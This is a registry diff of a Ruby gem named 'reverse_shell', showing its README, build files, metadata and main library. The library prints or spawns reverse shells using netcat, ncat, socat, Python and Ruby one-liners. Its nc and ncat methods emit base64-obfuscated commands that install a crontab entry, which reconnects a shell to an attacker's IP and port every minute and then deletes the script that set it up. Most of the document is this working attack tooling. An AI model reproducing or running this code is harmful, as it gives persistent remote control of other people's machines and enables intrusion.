reverse_shell 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 0106c70b0410282d4c43cf4279371aefd52aaec3d657bb145d426640e34659f4
4
+ data.tar.gz: '09f9c4a645a55f90ae9fe8b44d72df03ae8666f6aae0fb37a24f5d1187843b84'
5
+ SHA512:
6
+ metadata.gz: 783f1f9dc42d8b7047feb0377081a89bfd36cd1692bd2fdf542db706f7e090a2e100c02f54fc936d9c7c471724ef4cb72ab2829f6fffa9709f41c7fafaaf4e1b
7
+ data.tar.gz: 0a0ebb2cb54a4228e929b1fd5de2abf6a1eebdee2dd738bdc4e6b9c7daa263d6ee8c519135be9ef4b2ae438850107a274999b669411d8c8b5b3adad7e10d84b3
data/README.md ADDED
@@ -0,0 +1,86 @@
1
+ # ReverseShell
2
+
3
+ The code currently has three different ways to get reverse shell on a host. It will print the command out
4
+ in the terminal.. The last one, the socat shell will run the shell if the `run` method is set to true.
5
+ By default it is set to false.
6
+
7
+ To run the server use: `ncat -l -p 1337`
8
+
9
+ ## Installation
10
+
11
+ ```bash
12
+ gem install reverse_shell
13
+ ```
14
+ Have to install ncat: `sudo apt install ncat`
15
+
16
+ Hae to install netcat: `sudo apt install netcat`
17
+ ## Usage
18
+
19
+ ### NetCat
20
+ ```ruby
21
+ require_relative "lib/reverse_shell"
22
+ rs = ReverseShell::Generate.new
23
+ rs.ip = "127.0.0.1"
24
+ rs.port = 33
25
+
26
+ rs.nc
27
+ ```
28
+
29
+ ### Ncat
30
+
31
+ ```ruby
32
+ require_relative "lib/reverse_shell"
33
+ rs = ReverseShell::Generate.new
34
+ rs.ip = "127.0.0.1"
35
+ rs.port = 33
36
+
37
+ rs.ncat
38
+ ```
39
+ ### socat Shell
40
+
41
+ With `run` set as true it will run the shell on the machine.
42
+ ```ruby
43
+ require_relative "lib/reverse_shell"
44
+ rs = ReverseShell::Generate.new
45
+ rs.ip = "127.0.0.1"
46
+ rs.port = 33
47
+
48
+ rs.bash(run: true)
49
+ ```
50
+ This snippet of code will not run the socat shell, it will print out the command instead of
51
+ running the shell.
52
+
53
+ ```ruby
54
+ require_relative "lib/reverse_shell"
55
+ rs = ReverseShell::Generate.new
56
+ rs.ip = "127.0.0.1"
57
+ rs.port = 33
58
+
59
+ rs.bash
60
+ ```
61
+ ### Ruby
62
+ Like the Socat method, `run` means it will run the code. If it is not given it will
63
+ print it out.
64
+ ```ruby
65
+ require_relative "lib/reverse_shell"
66
+ rs = ReverseShell::Generate.new
67
+ rs.ip = "127.0.0.1"
68
+ rs.port = 1337
69
+
70
+ rs.ruby(run: true)
71
+
72
+ rs.ruby
73
+ ```
74
+
75
+ ### Python
76
+
77
+ ```ruby
78
+
79
+ require_relative "lib/reverse_shell"
80
+ rs = ReverseShell::Generate.new
81
+ rs.ip = "127.0.0.1"
82
+ rs.port = 1337
83
+
84
+ rs.python(run: true)
85
+ rs.python(run: false)
86
+ ```
data/Rakefile ADDED
@@ -0,0 +1,4 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "bundler/gem_tasks"
4
+ task default: %i[]
@@ -0,0 +1,5 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ReverseShell
4
+ VERSION = "0.1.0"
5
+ end
@@ -0,0 +1,58 @@
1
+ # frozen_string_literal: true
2
+ require 'base64'
3
+ require_relative "reverse_shell/version"
4
+
5
+ module ReverseShell
6
+ class Generate
7
+ attr_accessor :ip, :port
8
+
9
+ def initialize()
10
+ @ip = ip
11
+ @port = port
12
+ end
13
+ def ip=(ips)
14
+ @ip = ips
15
+ end
16
+ def port=(pp)
17
+ @port = pp
18
+ end
19
+ def nc
20
+ c = %{#!/bin/bash
21
+ line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
22
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
23
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
24
+ end
25
+
26
+ def ncat
27
+ c = %{#!/bin/bash
28
+ line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
29
+ (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
30
+ puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
31
+ end
32
+
33
+ def bash(run: false)
34
+ c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
35
+ unless run
36
+ puts c
37
+ else
38
+ Process.spawn(c)
39
+ end
40
+ end
41
+ def python(run: false)
42
+ c = %{export RHOST="#{@ip}";export RPORT=#{@port};python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'}
43
+ unless run
44
+ puts c
45
+ else
46
+ Process.spawn(c)
47
+ end
48
+ end
49
+ def ruby(run: false)
50
+ c = %{export RHOST=#{@ip}; export RPORT=#{@port}; ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'}
51
+ unless run
52
+ puts c
53
+ else
54
+ Process.spawn(c)
55
+ end
56
+ end
57
+ end
58
+ end
@@ -0,0 +1,4 @@
1
+ module ReverseShell
2
+ VERSION: String
3
+ # See the writing guide of rbs: https://github.com/ruby/rbs#guides
4
+ end
metadata ADDED
@@ -0,0 +1,62 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: reverse_shell
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Michael-Meade
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2025-10-30 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: base64
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - ">="
18
+ - !ruby/object:Gem::Version
19
+ version: '0'
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - ">="
25
+ - !ruby/object:Gem::Version
26
+ version: '0'
27
+ description: This gem will create and print different types of shell or even run the
28
+ shell in terminal.
29
+ email:
30
+ - noway@lol.com
31
+ executables: []
32
+ extensions: []
33
+ extra_rdoc_files: []
34
+ files:
35
+ - README.md
36
+ - Rakefile
37
+ - lib/reverse_shell.rb
38
+ - lib/reverse_shell/version.rb
39
+ - sig/reverse_shell.rbs
40
+ homepage:
41
+ licenses: []
42
+ metadata: {}
43
+ post_install_message:
44
+ rdoc_options: []
45
+ require_paths:
46
+ - lib
47
+ required_ruby_version: !ruby/object:Gem::Requirement
48
+ requirements:
49
+ - - ">="
50
+ - !ruby/object:Gem::Version
51
+ version: '0'
52
+ required_rubygems_version: !ruby/object:Gem::Requirement
53
+ requirements:
54
+ - - ">="
55
+ - !ruby/object:Gem::Version
56
+ version: '0'
57
+ requirements: []
58
+ rubygems_version: 3.4.20
59
+ signing_key:
60
+ specification_version: 4
61
+ summary: Create or run a reverse shell with different methods
62
+ test_files: []